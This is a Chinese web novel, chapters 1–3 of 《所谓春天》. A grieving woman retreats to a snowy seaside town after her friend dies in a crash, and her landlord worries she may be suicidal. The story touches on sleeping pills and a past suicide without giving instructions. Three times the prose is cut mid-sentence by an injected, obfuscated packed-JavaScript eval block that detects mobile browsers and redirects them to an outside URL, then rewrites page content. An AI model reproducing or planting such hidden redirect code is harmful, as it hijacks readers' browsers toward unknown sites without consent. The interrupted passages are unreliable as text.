《所谓春天》
1. 01
[所谓春天,大多数的形容都太过积极盎然,而在李霜看来,这个春天太过于罪恶,罪恶到不可饶恕。
好在,好在有人给予她能量,让她可以抵抗更多个春天,更多个想要倒下的瞬间。]
/
新年刚过,街道上堆积的爆竹碎屑就被清晨出动的清洁工打扫干净,在夜晚绽放的绚丽烟花,也成为弥漫在天空的雾霭,遮挡住明媚的阳光。
无数的人在这样阴沉的天里,拥抱告别。
李霜打车来到莺城的高铁站,刚下车她就感受到冷冽的风,虽在靠南的城市,但初春的风依旧刺骨。
周遭有人在分别,但却无人来送她。
李霜接过司机搬下来的行李箱,哑声道谢后,吸吸鼻子,走进高铁站。
莺城的高铁站是近两年更翻新过的新车站,圆顶透光,让站在其中的人显得渺小,时刻表下传来列车停靠的提示音。
过安检,寻找检票口,下扶梯,等待列车到站。
李霜上列车,找到自己的位置后,捏紧30寸的行李箱把手,拧着眉将斜挎包扔在靠窗的座位,而后拉着行李箱走到车厢尾部,将箱子推进最后排的空位里。
安置好行李箱后,她转头,看着逐渐多起来的乘客,无奈穿过窄小却拥挤的过道。
走到位置时,李霜额头隐约出了层薄汗,她只得脱下卡其色的长款羽绒服,快速叠好后,微微垫脚放在上方的行李架里,这才坐下来。
李霜除却公司出差外,很少出远门。她对交通工具有种莫名的紧张感,每次出行,总要不停核对乘车信息,一遍又一遍确认自己的位置是正确的。
她坐下后,将手伸进包里,摸到夹层里的身份证时,她才真正放松下来,舒了口气。
身旁坐下来一位老奶奶,大约是卡点上车,呼吸有些急促。
李霜侧头望着地上的包发怔,犹豫两秒,还是开口:“我帮您放在上面吧。”
“谢谢。”
奶奶将手里攥着的本子塞在一旁,起身,方便李霜放行李。
列车很快出发。
李霜正后方坐着一位小男孩,外放着动画片,她戴上耳机屏蔽一切声音,又拿出眼罩戴上,打算尝试入睡。
毕竟到达目的地还要很久。
但后面的小孩似乎并不想好好看动画片,开始用脚踢她的椅背,连踢几下。李霜只是隐隐蹙眉,并未做出什么回应。
又踢几下,她在心底叹息,因为哪怕没有这个小孩自己也难以入睡。
已经将近一个月,李霜只能依靠药物才能真正入睡。但此时是在车上,她并不敢吃药。
后面的小孩再踢几下,李霜将眼罩摘下,翻出包里的书,打算看一会儿,等他踢累了,自己再休息。
放眼罩时,李霜注意到一旁奶奶的神情,大约是被后面的小孩吵得有些烦躁,她闭眼皱着眉,不太舒服。
随即又看到奶奶的折叠桌上,放着已经卷曲的病例本。
李霜一怔,原来刚刚她手里拿着的是病例本,大概是来北城看病的人。
想要忍耐,但她没忍住。
列车高速行驶,但很平稳,车厢大多数人都还未进入疲惫,都在低头刷手机,亦或是和身边的人聊天。
李霜起身,回头,膝盖抵在座位上,微微俯身,对着坐在小孩旁边刷手机的女人说:“已经半小时了,你要是不管,那就我来管。”
李霜露出似笑非笑的表情,眉眼的疲态无人察觉,她向小孩靠近些许,压低声音:“小朋友,阿姨有精神病哦,杀过人的。你要是不想死,就不要再踢了,给我安静待着,知道吗?”
小孩愣住,还未有反应,身旁的女人开始骂骂咧咧,一把拉住过来的乘务员:“啊呀——你们管不管啊,这人威胁我们家小孩,小孩吵了点,怎么了,她还说她杀过人勒,搞什么啊,这么奇怪的人,也能坐车吗!”
李霜深吸一口气,对着一脸无措的乘务员说:“不好意思,我刚从精神病院出来,这小孩实在是太吵了,我也没吃药,理解一下?”
她晃了晃刚从包里拿出来的病例本,耸耸肩。
刚刚那句话声音不低,半个车厢的人都听得清,顿时投射过来复杂的目光。
但李霜没看,直接坐下。
后续是,乘务员与那位母亲沟通许久,车厢终于安静下来。
只是隐约能听到身后传来窃窃的辱骂声。
奶奶凑过来,笑:“姑娘,谢谢你。”
李霜一怔:“没事。”
“你……真有精神病?”奶奶望向李霜手里的病例本,和自己的那份是同一家医院。
并不是精神病院的。
李霜的耐心接近耗尽,“不是精神病,骗小孩的。”
一路再无其他事发生。
/
到达望城已是下午四点左右。灰茫的天幕低垂,竟飘落着雪。
李霜拖着行李箱,站在出站口等待专车司机。
雪天不适合出门。路上有车出交通事故,其他车也只能跟着堵。
李霜在高铁上还是睡了一会儿,此刻并不困。
“师傅,我晕车,开会窗户,不介意吧。”毕竟是冬天开着暖风的车。
“这有啥,你开就行了。”
她按下按钮,开了一半窗,趴在车窗往外探,脸在蓝灰的色调下显得清冷,雪从脸前划过,却远没有她苍白。
太过清瘦的脸。眼睛望向远处,眼底有些落寞。如果人身上的情绪有味道的话,李霜觉得自己是腐烂的苹果味。
经过拥堵的路段后,一路畅通。
不知开了多久,才终于人烟稀少,经过大片高大的松林。
转瞬即逝,冬日刚过也翠绿的松树,上面铺了层雪,青团撒上糖霜。
大家都往更温暖的地方跑,而李霜却来到偏北的海边小镇——青野镇。
司机将她放在路边,转眼就只剩下汽车尾气。
李霜转身看到远处沉静的海,雪落在上面,不见踪迹。
傍晚,蓝色浸染半边天,高低错落的小镇房子五颜六色,在蓝色调下有些黯淡。
雪遮盖住向上的蜿蜒小路,李霜抓着行李箱,打开手机看消息。
她在镇上租了一间房子,从三月租到五月。
李霜刚刚在车上联系过房东,房东说来接她。
没等几分钟,视线尽头的路上走过来一个人。
穿着黑色棉服,戴着个跳脱的粉色毛线帽?
在簌簌的雪下,格外显眼。还未走到眼前,那个人就跳起来挥手。
李霜有些尴尬,象征性伸手挥挥。
“冷吧,我在书店看小孩呢,来晚了,不好意思啊。”他直接抓过行李箱,另一只手挠挠毛线帽。
“不晚,我没等多——”
“还好你是今天到的,这雪不知道要下多久,要是下大雪的话都要封路了。”他走在前面,迎着风雪,行李箱压过石子,磕磕绊绊,“也不知道怎么年后雪还这么大,这天气真是有够怪的。”
这房东话好多,叫什么来着?
李霜忘记最开始他发给自己的备注了,只是称他为房东。
“啊,对了,我是陈春决。”他转身,眼睛明亮,咧着嘴笑,鼻子却冻得有些红,“应该和你说过。”
“嗯。”
想起来了,陈春决。
李霜以为会是年纪很大的房东大哥呢。没想到看起来是同龄人……?
“转个弯就到了,这个季节没什么人住,所以你想住一楼还是二楼?”
“可以选?”李霜拍掉围巾上的雪,又往上拉了拉,眨眨眼睛。
“对啊,这栋房子带个院子,有两层,当时没在平台设置选项,所以你想住哪层都可以。”陈春决直接捞起行李箱,抬上台阶,“到了。”
李霜跟在一旁,看他输入密码,“我住一楼就行。”
她住哪都无所谓,只要能安稳睡一觉都好。
“可以,反正都是今天刚打扫过的。这大门和里面都是密码锁,比较方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599520|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便,等会我教给你改密码,你改一下。这样比较安全。”陈春决打开铁门,进入院子。
院子里是干净的雪,软绵绵的。角落种了一棵树,一时认不清。
陈春决看她的目光落在那里,便开口:“是柿子树。秋天会有柿子落下来,很甜。”
此刻是漫天的雪遮盖住枝头,无法想象秋天长满柿子的模样。
“李霜?”陈春决将门打开,却看她愣神,忍不住叫她的名字。
奇怪的租客,选这种季节来这偏远小镇。
“啊——”李霜总是晃神。
“进房间了,外面冷。”
风雪刹那隔绝。
屋子里很温暖,原木色家具,空气里弥漫着些许橘子调的香氛。
陈春决跺脚,将行李箱放在玄关,找出拖鞋,“这鞋子都是新买的,直接穿就行。”他将软软的拖鞋放在李霜脚边,自己脱掉鞋子,赤脚踩在地板上。
“我们这很少来人,你怎么选择现在这个时候来啊,还一住就是三个月。”他也就是随口一问。
李霜拿下围巾,脱掉外套,搭在门口的柜子上。
陈春决这才看清她的样子,消瘦的脸,低垂的眼眸,因静电而微微毛躁的黑色长发。
不说话的时候像他每日清晨踏过的松林,沉默着,萦绕着晨雾。
没有回答。李霜抬头看他,眼睛里有些许疲惫。
“你来到这肯定很累了。先不说话了,我简单和你介绍一下,就走。”陈春决往屋内走去,“这里不像外面,可能没有那么规范,清洁阿姨每周来一次,你自己平时多注意一点,如果太乱了,你就找我,我去和阿姨说。”
“房间里的很多地方我都贴了便利贴,桌上还有我自己自制的小镇旅行指南,等天气好了,你可以出去走走。我提前准备了一桶水在这里,你可以自己烧水。”
“谢谢。”李霜抿嘴,“可以现在就烧一点水吗?”
“好。”陈春决将桶装水打开,按上按压式抽水的设备,给水壶灌水。
他蹲在地上,粉色毛线帽上面的毛球跟着他的动作晃,李霜弯起嘴角。
烧上水的陈春决望向她的眼睛,安静对视两秒,他率先移开视线,“其他也没什么事,那改一下密码吧,然后我就走。”
陈春决半开着门,看她穿着棉拖要过来,“这里冷,等我操作好了,你再过来改。”
“好。”
李霜强撑住精神,站在那刷手机。
手机微信置顶是她的好朋友,叶幸然。
她发送了一条消息过去。
叶子,我到青野镇了,这里在下雪,好冷。
“好了,你来改密码吧。”
陈春决在她输入密码时,坐在玄关的凳子上穿鞋子。“这里下过雪后路会很滑,都有坡度,你出门注意一下。”
真是细心的房东。
“好的,谢谢。”
“没事。总之,有什么问题一定要找我。”
陈春决撑着门,身后是无章法的飞雪,从缝隙闯进屋内,落在地板上消失。
他的眼睛辽阔,李霜在他安静的此刻,才看清晰。
好执着,莫名其妙。
“好。”
“那祝你在这里玩得开心,欢迎你到来。”
门再次关上,李霜终于迎来片刻宁静。
她深深吐出一口气,听到厨房的沸水发出咕噜咕噜的声响,才把行李箱放倒在地上,拉开拉链,从里面翻出一瓶药。
李霜拿起药瓶,走到厨房找到玻璃杯,洗净,倒入水。
把药塞进嘴里,喝了几口水,仰头将药顺下去。
小镇已经入夜,风吹得窗户隐隐摇晃。
李霜从厨房走出来,拿出睡衣换上,转身走到床边,直接躺下。
不得不说,房东的品味真好。连床上都有一股淡淡的清香。
这是什么香?
嗯……
李霜思考停滞,沉重的眼皮终于合上,跌入一场梦。
2. 02
家里人说1月15日是个好日子。
于是李霜和吴临白的婚礼就定在那一天,意外也在那天发生。
吴临白是李霜父母同事的儿子。因为父母都是高中教师,住在一个小区,所以也算是青梅竹马。
双方父母也致力于撮合两人。
李霜一开始就算不上喜欢吴临白,但她没拒绝。
她的父母,父亲李铭安是化学老师,母亲夏梅是物理老师,两位都是理科生,而李霜是文科生。
在这样的家庭里,她从未得到过重视。
从高二选择文科的那刻开始,就好像被默认为是家庭的背叛者。这种表现并不明显,但李霜一直都是小心翼翼的。
她想,如果这是自己做出选择而必须背负的,那么自己是自愿的。
其他的一切事,都可以妥协。
这种想法,在吴临白不顾长辈反对,抵挡谩骂,为她找到一份出版社的工作后,达到顶峰。
所以在毕业后,长辈们有意无意表达想要两人相处试试的想法时,李霜并未有太大的反感。
逐渐走到结婚这步,是李霜始料未及的,但她好像说个“不”,都会被扣上不识好歹的帽子。
在所有人都为之准备时,只有她的好朋友叶幸然,单刀直入。
关系好到可以介入对方的人生,也不是奇怪的事。
“你如果和他结婚的话,我是不会做你伴娘的,我不明白,你到底为什么非要做一些违心的事,这是结婚。和你之前妥协的那些事完全不一样。一辈子的事,你就要这么草率地赔上去吗?”
“我马上要去北城做报道,我希望出差回来之后,你已经解决了这件事。”
叶幸然是新闻记者,总在各地奔波,在各处写稿件。如今新闻行业难做,大多数人都在寻求别的出路,只是做做样子,只有她还在为真相奔波。
李霜认识她这么多年,最欣赏她这点,肆意又执着。
她安静听叶幸然说话,最后回复:“我知道了。我不会就这样草率进入婚姻的。”
叶幸然愤然,猛灌了一杯咖啡,离开,前往机场赶飞机。
为了不让叶幸然发怒,李霜隐瞒了一件事。吴临白有其他女朋友的事。说起这件事,李霜其实内心毫无波澜,甚至觉得有些可笑。
生活里出现的人,无关的有关的,都很可笑,大家都在演戏。
某天下班得早,李霜开着前晚吴临白放在她这里的车去接他下班。她坐在车里等待,看到吴临白出了大厦,远处跑来的女生扑到他的怀里。
像所有情侣那般,拥抱时会摇晃,吴临白顺着她的头发,抚摸着。
李霜在心底叹气,为什么不隐藏好,还是说,被她发现也无所谓。
她启动车离开。
/
距离婚礼还有两天。
“吴临白,我不想结婚了。”
“说什么胡话呢。”
餐桌上刀叉切肉的声音停止,吴临白望过来的眼神,谈不上有担心的情绪,隐约有一丝厌烦。
总有人这样看待她。
李霜从不认为老师是什么好职业,因为枯燥,也因为自己没有任何责任感,但为什么她的身边围绕着一群老师。
总以这样责备以及不耐烦的态度对待她呢。
“我觉得还不到结婚的时候。”
“婚礼马上要举行了,突然有这种感觉?”吴临白没太在意,婚前焦虑症可以理解。
李霜咬唇,“我觉得,比起婚后才突然感觉,现在感觉到要好很多吧。”
是认真的。
吴临白眼皮一跳,“你和叔叔阿姨说了吗?”
“没,但我是和你结婚。所以——”
“你觉得哪怕我同意了,他们会同意吗,在请了他们那么多同事的情况下?”
哦,是个不错的攻击点。
李霜作不出回答,她沉默半响。
“那你想怎么样?”
“婚礼要办,婚可以不结。”吴临白这样总结。
她蹙眉,想不出什么话,觉得有点可笑。
吴临白哼笑一声,“离谱吗,可是他们的面子很重要不是吗?”
几乎两个高中一半的老师都会在场,还有父母十多年的领导。他们怎么会允许取消。
但要一场婚礼是演给其他人看的,李霜觉得太可笑。
也是可悲,是她自己的问题。
“好,那就这样。”她甚至都不需要问,我们两个人之间的事呢。
非常简单利落解决,好残忍。
婚礼当天,叶幸然出差回来,直奔婚礼现场。
她闯进化妆间,身上带了些尘土,头发也冒油,语气有些冲撞:“李霜,你还真是好样的哈,还是要结婚是吧?”
“你是想自己的人生就这么算了吗?”
“不是,你听我解释——”
男方那边的伴郎突然闯进来,语气惊慌:“霜姐,你先别出来。外面出了点事。”他的反应太过反常,生怕她出去看到什么一般。
“什么?”他没回应,拉开门又出去,李霜有些懵。
叶幸然走到门口,就听到外面有争吵声,把门拉开。
李霜拽着婚纱跟上,走了几步,看到之前见过的那个女人站在吴临白旁边。
之前在大厦出现的女朋友。
啊——。
怎么你那边的人没安抚好呢。
面子还是要丢了。
李霜竟然在此时缓缓松了口气。
叶幸然想要冲过去,却被李霜一把拦住。
“叶子,这个事我知道。”
对方皱眉,还未开口,她又补充:“这个婚我不想结了,我们跑吧。”
语气轻盈的,像是高中时她想逃晚自习那般自然。
“好。”
李霜讨厌冲突,她一直都知道。
越过凑热闹的人群,越过那些人眼底漏出的同情,李霜逃跑了。
她没有看到双方父母,幸好,她现在是真的不想面对。
叶幸然开车,两人开着窗,凌冽的风闯入,李霜忍不住打冷颤,但还是好爽,很久没有这样痛快。
举办婚礼的场所距离市区有段距离,所以路上几乎没有车辆,叶幸然开得很快。
李霜拔高声音问:“你的调查怎么样了?”
调查什么内容,叶幸然从不说,她也不过问,只会在每次要结束时,问上几句,听她吐槽,听她说危险的场合如何被她安全避开。这是她能给予的情绪价值。
“快结束了,不用担心。”
处于极度亢奋中的李霜并未听出叶幸然语气里的颤抖,甚至脸色也有些苍白。
“嗯嗯,那就好。”
李霜摆弄着不太舒适的婚纱,松松安全带,“等会先去你家换身衣服吧,这家婚纱怪贵的,别弄坏了。”
“我给你买下来,就当是你今天勇敢的奖励。”
李霜噗嗤笑出声,“那也太大方了吧。”
“这算什么,你要是真做了自己不愿意做的事,我才是真的失去了重要的东西。”叶幸然望了眼后视镜,抿起嘴,心不在焉,“用婚纱换你的自由,不亏。”
“我真是太感动了——”
“李霜。”叶幸然突然打断她说话。
“嗯?”
“我的包里有个小狗U盘,你之前送给我的那个,帮我拿出来。”
“这么突然?”
“你快帮我找出来,拿好它。”叶幸然无意识中加快了速度。
就在李霜低头翻包的那刻,一股巨大的冲击感朝她袭来。
世界颠倒,李霜感到眩晕,恶心感让她想吐,嘴里却涌出一阵血腥味。
天突然飘落大雨,血能冲刷掉,记忆也可以吗?
一切忧虑暂停,仿佛被按了暂停键。
如果能这样一直睡下去就好了。
-你的人生就这么算了吗?
-叶子,如果真的能这么算了,就好了。我好想你。
/
一股清冷的味道。
李霜使劲嗅,是青松的味道,夹杂着雪的冷意。
“李霜,李霜?”
清脆却因焦急而有些颤抖的声音,是陈春决。
李霜觉得身体很沉,仿佛沉到床垫之下,浸到泥土水泥中的程度。
她撑起身体,声音沙哑,感受到喉咙的肿痛:“这是哪?”
陈春决半揽着她,垂眸,发觉她额头都在冒出虚汗,身上也无比潮湿,温暖的手掌蹭到她冰凉的胳膊,令她一抖。
李霜清醒几分,记忆回笼。
床尾站着两位男人,是穿着制服的警察?其中一位手里还捏着她的药瓶。
李霜仍旧摸不清状况,裹紧被子往旁边一躲,陈春决感受到她的后退,意识到自己的行为有所不妥,撑起膝盖起身。
“不好意思,不好意思。”陈春决举起手,起身,看她的眼睛望向玄关的密码锁,他用身体遮挡住她的视线,“那个,你听我解释。”
“在你来之前,有个住户,他在海边的悬崖跳海自杀了,所以最近有些敏感。你来到这里都三天了,一直都没有出门,不出门怎么吃东西,是吧。而且房间一直没亮过灯,我就以为……”
“以为我死了。”李霜甚至懒得掀起眼皮,她冷冷回答。
“哈哈……确实是这样没错。但是我敲门你不应,我是真的担心你出事,所以才找人撬开门的,而且报警了。进来之后,看到你床头的药瓶,以为你吞药了,我就没忍住摇你,真的真的很对不起。”
李霜没回应,陈春决一旁的警察却咳嗽两声:“那个,小陈。既然没事我们就先走了。你好好和住户道个歉哈。”
警察走到玄关,刚才说话的警察拍拍陈春决的肩膀,“挺住。”
陈春决撇嘴,要不是之前那个自杀的人,他也不会这么过度反应啊。
什么人会三天不出门,一直在睡觉啊。
陈春决走过去,有些无措。
李霜终于抬眸:“我饿了。”
“啊?”陈春决没意识到是这样的回应,一时愣住,他双手狂搓,“那……饿了好,饿了好。我给你煮面吃,行不?”
“好。”
陈春决没有戴第一次见面时,那个和他并不符合的帽子。此时他毛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599521|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
躁的头发呈深灰色,染过的痕迹,窗晃进来的光落在头顶,灰蒙一片。
眼睛却依旧闪亮,身前慌张的手掩盖不住那突然轻松的肩膀。
陈春决内心的警铃熄声了。
她看出来了,没作反应,从床上爬起来,“在哪里煮?”
“你这里没有,我去我家里给你拿泡面,你等我一下。”陈春决快步走到门口,突然转身,“你吃不吃鸡蛋和火腿。”
从床上起来,拿杯子准备接水的李霜,闻言,点点头。看他消失在院子里,铁门吧嗒一声响,她才垂着头倒水。
喝过水,李霜拿起沙发上的毛毯裹着,走到玄关外坐下,毛茸茸的拖鞋踩在门口湿漉漉的雪上。
原来是黄昏,璀璨的光落在结冰的地面上,像是一条银色的河流,从高处的山流淌下来。
竟然睡了这么久。
前天傍晚吃过药,她便陷入睡眠。
中途醒来过几次,要么像尸/体一般去趟厕所,要么灌几口水维持生命体征,再躺下继续睡觉。
什么都不想做,只想大睡一场。
躺在床上的李霜隐约听过外面有人经过雪地,发出脆响,也有海浪的声音,但都叫不醒她。
就一直睡到现在。
结果被人误会成自杀,也是够好笑的。
李霜抬头,探出上半身探寻阳光,屋顶的雪落下水,一滴一滴很缓慢地落下。
融化,才是春天的开始吧。
远处的坡上,陈春决踩过结冰的路,抱着个大袋子走来。他输入密码,走进院子,大口的呼吸,成雾气。
李霜与他对视,让他有些尴尬,躲开眼睛。她也挪开目光,看向开着的门,锁已经坏掉。
陈春决:“啊呀,你别看了,不要担心。我已经喊师傅了,等会他就来加班修好,你放心。”
“我没担心啊。”
“哈哈。”陈春决跺脚,“外面冷,快进去吧,我给你煮面吃。”
李霜起身,给他挪出位置。
“我还去了趟小卖部,给你买了一些吃的,三明治、水果什么的,你可以晚上饿了吃。”陈春决走到厨房,打开冰箱,把买的东西放进去,“买了奶,还有一些果汁,你可以喝。还有几包泡面,不知道你喜欢吃什么口味,所以都买了一点。我没买蔬菜,因为不知道你自己会不会开火,省得浪费了。”
“哦,谢谢。”
陈春决自知理亏,转身开始刷锅。
烧上水后,又没有其他事情可做,不得不转过来,坐在椅子上,瞄了她一眼。
坐在对面的李霜也恰好抬眼,似乎经过刚才外面的阳光一照,她才真正清醒过来。
在此时,得以看清陈春决。
他的鼻翼侧有颗很小的痣,眼睛是小狗眼,因为心虚而躲开她的注视。耳朵因为寒冷而微微泛红。嘴唇有些厚,但抿起来又刚刚好,适合笑的程度。
李霜的眼睛看向他放在桌面的双手,脉络清晰,修长却略粗糙,指甲修得整齐,因为刚刚外出手指有些红。
李霜低眸,拿过一旁的药瓶,声音混杂着颗粒感,有些糙:“我只吃了两片药,没想到自己会睡这么久,给你造成麻烦了,我和你道歉。”
陈春决听出她的喉咙不适:“没事没事。你不要只喝凉水,喝点热的,我烧一点。”
李霜不习惯陌生人这样的关心,但也只是不适,并未开口阻拦,因为他已经转身去拿水壶。
陈春决准备烧水,但嘴依旧没停下:“你不需要道歉,也没什么的。我也是怕你出事,但是带着警察闯进来,肯定把你吓坏了。这事确实是我过度反应。”
“不会,应该的。三天没什么人类活动,确实是需要担心的程度。”李霜总结,她并不想在这个话题上再浪费时间,生硬转移,“有人在这里自/杀?”
“嗯。”
“跳海?”
“对。”
“成功了?”
“……嗯。”
“不会是住这间房子的人吧?”
“啊——那不是不是,是别的房子。”陈春决慌忙摆手,头发都在颤。
“你的?”
“对,离这不远,就后面再后面那栋蓝色房子。”
“有够倒霉的。”
“也不能这么说,但确实会有点影响。”陈春决感受到水已经烧开,撕开泡面包装,把面饼放进沸水里,拿起调料包时,忍不住问,“红烧牛肉味可以吗?”
“好。”
泡面很快煮好,陈春决利落地把面捞起,用勺子捞出鸡蛋和火腿,将热气腾腾的一碗面端到她的面前。
“久等了。”
明明没有耗费多长时间,明明是她仗着有理而要求的。
可却被认真对待了。
一个月了,距离车祸过去一个月了。
这却是李霜出院后第一回吃到专门为她准备的食物,并且是热气腾腾的。
在这平常的一幕里,她险些落泪。
她不该感受到幸福的。
因为叶幸然不在了。她认识十六年的好朋友因为她的逃婚,因为她的原因而去世了。
不可饶恕。
3. 03
日落在远处盛大,近处只剩几缕光落在地板上,落在厨房的角落里。
李霜埋头吃面,却控制不住地落下同样滚烫的眼泪。
陈春决察觉她弯着的脊背有些颤抖,试探问:“你哭了?”
李霜没回应。
“是不是太烫了……”他好像找到了诀窍。
“……嗯。”
“不要着急,慢慢吃,不够还有好多。”
“谢谢。”
吃过面,李霜大口喝着冷好的温水,陈春决则看着几乎没有残渣的碗一怔,犹豫再三还是问:“还想吃吗?”
“不吃了,饱了。”
陈春决转身刷碗,李霜吃过面也有了力气,开口阻止:“你放那,等会我来刷。”
“没关系,顺手的事。”
李霜走到洗碗池旁,看着他洗碗,自己无从插手,她只好后退,抱胸看着他的背影。
“他在哪个悬崖自/杀的?”
陈春决手里的碗差点掉下去,还好抓得稳。
“你问这个做什么?”
“就是问问。离这远吗?”李霜继续追问。
“不远。”
“我想去看看,可以指给我看吗?”她从身后的桌上捞起地图,他自制的小镇旅行指南。
“可以是可以。”陈春决想,她的内心不会有什么不好的想法吧,有些犹豫,“你去那干什么?”
“就是看看。”
陈春决擦干手,转身依靠在台面,终于敢对上她那双眼睛。
平静的,也算不上有生机的眼睛。
他很少见到这样的人,但凭直觉知道,她想要做的事,旁人是不可能劝阻的。
“那里的日出很漂亮,我带你去看看。”
租了我的房子,我还是负责一点吧。
大冬天的,都是什么糟心事啊。
陈春决觉得这都是过年没多祈福的缘故,拧着眉后悔。
他听到李霜回答说:“好。”
拧着的眉松了些。
厨房只开了顶暖黄的吊灯,李霜站在光里面,把她的脸颊照得很柔和,她低头翻看地图,一脸认真。
陈春决那刻听到松枝的雪骤然掉落的声音,沉闷的,不着痕迹的在他心底响了一下。
/
李霜没吃药,尝试入睡,但没有睡太深,五点多的闹钟一响,她就抓着头发起来,坐了片刻,又倒下,眨眼看着天花板。
不知过了多久,门外响来敲门声,紧跟着陈春决的声音传来。
“李霜,李霜。”
她感觉骨头都发软,有气无力,挣扎几番,还是起身。
陈春决的声音逐渐提高,“李霜——”
“来了。”她把门打开,“不好意思,你等我一下。”
“没事,我在院子里等就行。”
李霜身体行动着,但意志没清醒,她洗漱完走出去,被冷风一动打了个哆嗦。
手上却被塞过来某件东西,她低头一看是烤红薯。
陈春决今天戴着黑色毛线帽,裹着黑白格围巾,只露出漆黑的眼眸。
天还未亮,朦胧的蓝将大地笼罩,李霜看不到更远的地方,只感受到手中的温热。
“给你带的,在路上吃吧。”
这是李霜来到小镇后第一回出门。
窄小的路上,她踩着结冰的脏雪,有碎冰的脆响,在未苏醒的小镇里格外响亮。
陈春决走着上坡的路。
李霜则在后面慢吞吞跟着,海浪的声音近在咫尺,她却只顾低头啃红薯。
要拐弯时,陈春决回头,看到她认真吃红薯的样子,唇角一弯,“好吃吗?是甜的吧,我挑了个感觉最甜的。”
“不知道是不是最甜的,但是好甜,是好吃的。”
李霜的某部分总在反驳,莫名其妙。
但陈春决似乎已经摸清她的路数,耳朵只听好的那部分,挺直腰板,语气上扬:“好吃,下次再给你带。”
“谢谢。”李霜把吃完的皮包在袋子里,看了看周围不知道该如何处理。
“给我吧,我等会扔。”陈春决伸出手。
她也不扭捏,将塑料袋递过去,问:“快到了吗?”
“嗯,再往前走一段,然后我们骑车沿着路开一段就到了。”
“什么车?”
“电动车,沿着海骑一会儿就到了。”
李霜摸摸耳朵,手和耳朵的温度无法互相拯救,都同样凉。
远处的海平面漏出一条橘黄的线,陈春决沿着下坡路跑。
“快点,要赶不上日出了!”
陈春决跑得像鸵鸟,乱糟糟的。李霜找不出词去形容,只是跟着他跑。海边的风大,把她的头发吹乱,整个世界都在摇晃,远处的天是被她眼睛搅乱的颜料。
跑到坡底,她竟隐隐出汗,整个人都热乎起来,风好像吹散了什么。
海滨大道上有租赁电动车的地方,陈春决敲了敲铁皮屋的窗,“哥,我骑两辆车,等会就回来。”
“小陈?大早上的,干啥去。”里面的人开了条缝隙。
“去看日出。”陈春决从缝隙里拿出两把钥匙,“谢了哥。”
“来这都一年多了,日出还没看够呢。”大哥嘟嘟囔囔,关上窗。
“会骑电动车吧?”
“会。”李霜接过钥匙,心竟也跟着涨起来,“带路吧。”
五点半,空无一人的海滨大道上有两个骑车去看日出的人。
可能无聊,也可能是疯了。
但李霜骑着车,不停把手缩进袖子里时,竟顾不上思考其他事,眼里只有无尽的海,零星的海鸥,近在咫尺的悬崖。
很快就到达悬崖,把车扔下路边,陈春决走上去。
“这里看日出很好看的,那个人来的第一天就问我,哪里看日出最好看,我说村子后面的悬崖。”陈春决踩在湿润的草里,手插在兜里,漫不经心地走着,“但我没想到,他自己来看日出之后,直接跳下去了。都这么好看了,想不通为什么。”
李霜越过他的背影,看到太阳从远处升起,橙色像病毒一般蔓延,蔓延到陈春决的头发,蔓延到她的眼睛里。
内心却奇怪的平静。
悬崖的风将枯枝吹弯,将散开的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599522|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
金光抛进空中。
李霜向前走了几步,轰鸣的海浪遮住陈春决喊她名字的声音。
“在想什么?”
陈春决忍不住舔唇,咽下口水,站在她的身旁。
怪人年年有,刚入年就迎来两个,不常见。
他内心开始苦恼。
“是有道理的。”
“什么?”
“选择这里跳海啊。”
“……什么道理?”
“因为太好看了,死在这一刻会消解很多对死亡的恐惧吧。”李霜往下探,语气平淡。
没有回应,令她抬眸,看到陈春决蹙眉,欲言又止的样子,突然懂了。
“你放心,不会让你有两个自/杀的住户的。”李霜转身离开,脚踩在结冰的碎雪里,差些没站稳,险些摔倒时,被身后的人一把捞住。
“谢谢。”她站稳,没用力就松开对方的手。
“要走了吗,不拍照吗,不再看会了?”陈春决跟上她。
“……不拍了。”李霜站在原地,停顿几秒,转身拿出手机,“还是拍一张吧。”
“这就对了。多看看漂亮的日出,多感受一下。还是很美好的。”陈春决微笑。
“你这样笑很假。”
“?”
“不需要你这样小心翼翼的,我现在不想死。”
“以后也不能想。”
抓住了言语上的漏洞。
李霜想笑,但冷得笑不出,“嗯。”
两人回来时,也不过六点半。
陈春决的小狗眼露出红血丝,大概率是没睡好。
“今天谢谢你。”
好房东,为了遏制一切坏念头,非常热情且努力。
也不知道之前那个人的死亡给他带来了多大的影响。
“李霜。”
她踩在台阶上,不费力地与他对视。
